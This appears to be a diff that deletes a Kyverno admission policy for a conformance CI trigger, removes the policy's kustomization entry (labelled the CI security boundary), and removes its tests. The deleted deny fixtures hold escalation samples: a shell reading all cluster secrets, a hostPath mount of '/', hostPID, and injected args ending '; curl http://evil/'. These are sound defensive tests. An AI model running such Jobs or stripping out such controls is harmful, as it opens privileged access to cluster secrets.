-                      =(privileged): "false"
-
-    - name: trigger-volumes-must-be-workspace-or-results
-      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
-      # As two separate `all` entries it is a schema error ("match resources not specified")
-      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
-      match:
-        all:
-          - resources:
-              kinds:
-                - Job
-              namespaces:
-                - conformance
-            subjects:
-              - kind: ServiceAccount
-                name: conformance-trigger
-                namespace: conformance
-      validate:
-        message: >-
-          conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
-          volume is how a constrained pod reaches a host path, a secret, or another SA's token.
-        # foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
-        # matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
-        # asserts EVERY volume is one of the two allowed names.
-        foreach:
-          - list: "request.object.spec.template.spec.volumes"
-            deny:
-              conditions:
-                all:
-                  - key: "{{ element.name }}"
-                    operator: AnyNotIn
-                    value: ["workspace", "results"]
-
-    - name: trigger-args-must-be-the-committed-flags
-      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
-      # As two separate `all` entries it is a schema error ("match resources not specified")
-      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
-      match:
-        all:
-          - resources:
-              kinds:
-                - Job
-              namespaces:
-                - conformance
-            subjects:
-              - kind: ServiceAccount
-                name: conformance-trigger
-                namespace: conformance
-      validate:
-        message: >-
-          conformance-trigger Job args may contain only the conformance run's own flags
-          (--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
-          Anything else — a shell, a path, a redirect — is denied.
-        foreach:
-          - list: "request.object.spec.template.spec.containers[0].args"
-            deny:
-              conditions:
-                all:
-                  - key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
-                    operator: Equals
-                    value: false

platform/kyverno/admission/kustomization.yaml

@@ -20,7 +20,3 @@ resources:
   # --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
   #     (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
   - secret-provenance.yaml
-  # --- R-SEC-02: constrain what the conformance CI trigger may create ---
-  # THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
-  # subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
-  - conformance-trigger-job-shape.yaml

platform/kyverno/tests/conformance-trigger/kyverno-test.yaml

@@ -1,57 +0,0 @@
-# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
-#
-# Each DENY case below is a real escalation path, not a style violation. The one that matters
-# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
-# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
-# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
-# this policy.
-#
-# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
-# never fires and every case trivially passes — a test that proves nothing.
-apiVersion: cli.kyverno.io/v1alpha1
-kind: Test
-metadata:
-  name: conformance-trigger-job-shape
-policies:
-  - ../../admission/conformance-trigger-job-shape.yaml
-resources:
-  - resources.yaml
-userinfo: user-info.yaml
-results:
-  # ---- the committed run is ADMITTED ----
-  - policy: conformance-trigger-job-shape
-    rule: trigger-may-create-only-the-committed-conformance-run
-    kind: Job
-    resources: [good-run]
-    result: pass
-  - policy: conformance-trigger-job-shape
-    rule: trigger-volumes-must-be-workspace-or-results
-    kind: Job
-    resources: [good-run]
-    result: pass
-  - policy: conformance-trigger-job-shape
-    rule: trigger-args-must-be-the-committed-flags
-    kind: Job
-    resources: [good-run]
-    result: pass
-
-  # ---- THE escalation: runner SA + arbitrary command ----
-  - policy: conformance-trigger-job-shape
-    rule: trigger-may-create-only-the-committed-conformance-run
-    kind: Job
-    resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
-    result: fail
-
-  # ---- an extra volume is the way out of a constrained pod ----
-  - policy: conformance-trigger-job-shape
-    rule: trigger-volumes-must-be-workspace-or-results
-    kind: Job
-    resources: [extra-volume]
-    result: fail
-
-  # ---- args beyond the committed flags ----
-  - policy: conformance-trigger-job-shape
-    rule: trigger-args-must-be-the-committed-flags
-    kind: Job
-    resources: [injected-args]
-    result: fail

platform/kyverno/tests/conformance-trigger/resources.yaml

@@ -1,154 +0,0 @@
-# The committed shape — must be ADMITTED.
-apiVersion: batch/v1
-kind: Job
-metadata:
-  name: good-run
-  namespace: conformance
-spec:
-  template:
-    spec:
-      serviceAccountName: conformance-runner
-      containers:
-        - name: runner
-          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
-          command: ["./run.sh"]
-          args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
-          securityContext:
-            runAsNonRoot: true
-            allowPrivilegeEscalation: false
-      volumes:
-        - name: workspace
-          emptyDir: {}
-        - name: results
-          emptyDir: {}
----
-# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
-apiVersion: batch/v1
-kind: Job
-metadata:
-  name: evil-command
-  namespace: conformance
-spec:
-  template:
-    spec:
-      serviceAccountName: conformance-runner
-      containers:
-        - name: runner
-          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
-          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
-          securityContext:
-            runAsNonRoot: true
-            allowPrivilegeEscalation: false
-      volumes:
-        - name: workspace
-          emptyDir: {}
----
-# An arbitrary image running as the privileged SA. Must be DENIED.
-apiVersion: batch/v1
-kind: Job
-metadata:
-  name: evil-image
-  namespace: conformance
-spec:
-  template:
-    spec:
-      serviceAccountName: conformance-runner
-      containers:
-        - name: runner
-          image: docker.io/library/alpine:latest
-          command: ["./run.sh"]
-          securityContext:
-            runAsNonRoot: true
-            allowPrivilegeEscalation: false
-      volumes:
-        - name: workspace
-          emptyDir: {}
----
-# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
-apiVersion: batch/v1
-kind: Job
-metadata:
-  name: tag-not-digest
-  namespace: conformance
-spec:
-  template:
-    spec:
-      serviceAccountName: conformance-runner
-      containers:
-        - name: runner
-          image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
-          command: ["./run.sh"]
-          securityContext:
-            runAsNonRoot: true
-            allowPrivilegeEscalation: false
-      volumes:
-        - name: workspace
-          emptyDir: {}
----
-# Host namespaces + privilege escalation. Must be DENIED.
-apiVersion: batch/v1
-kind: Job
-metadata:
-  name: host-namespaces
-  namespace: conformance
-spec:
-  template:
-    spec:
-      serviceAccountName: conformance-runner
-      hostPID: true
-      containers:
-        - name: runner
-          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
-          command: ["./run.sh"]
-          securityContext:
-            runAsNonRoot: false
-            allowPrivilegeEscalation: true
-      volumes:
-        - name: workspace
-          emptyDir: {}
----
-# An extra volume — the way out of a constrained pod. Must be DENIED.
-apiVersion: batch/v1
-kind: Job
-metadata:
-  name: extra-volume
-  namespace: conformance
-spec:
-  template:
-    spec:
-      serviceAccountName: conformance-runner
-      containers:
-        - name: runner
-          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
-          command: ["./run.sh"]
-          securityContext:
-            runAsNonRoot: true
-            allowPrivilegeEscalation: false
-      volumes:
-        - name: workspace
-          emptyDir: {}
-        - name: hostroot
-          hostPath:
-            path: /
----
-# Injected args beyond the committed flags. Must be DENIED.
-apiVersion: batch/v1
-kind: Job
-metadata:
-  name: injected-args
-  namespace: conformance
-spec:
-  template:
-    spec:
-      serviceAccountName: conformance-runner
-      containers:
-        - name: runner
-          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
-          command: ["./run.sh"]
-          args: ["--layer", "l2", ";", "curl", "http://evil/"]
-          securityContext:
-            runAsNonRoot: true
-            allowPrivilegeEscalation: false
-      volumes:
-        - name: workspace
-          emptyDir: {}

platform/kyverno/tests/conformance-trigger/user-info.yaml

@@ -1,12 +0,0 @@
-# The requesting identity the policy keys on. Without this the `subjects` match never fires and
-# every case below would trivially "pass" — proving nothing.
-apiVersion: cli.kyverno.io/v1alpha1
-kind: UserInfo
-metadata:
-  name: conformance-trigger
-userInfo:
-  username: system:serviceaccount:conformance:conformance-trigger
-  groups:
-    - system:serviceaccounts
-    - system:serviceaccounts:conformance
-    - system:authenticated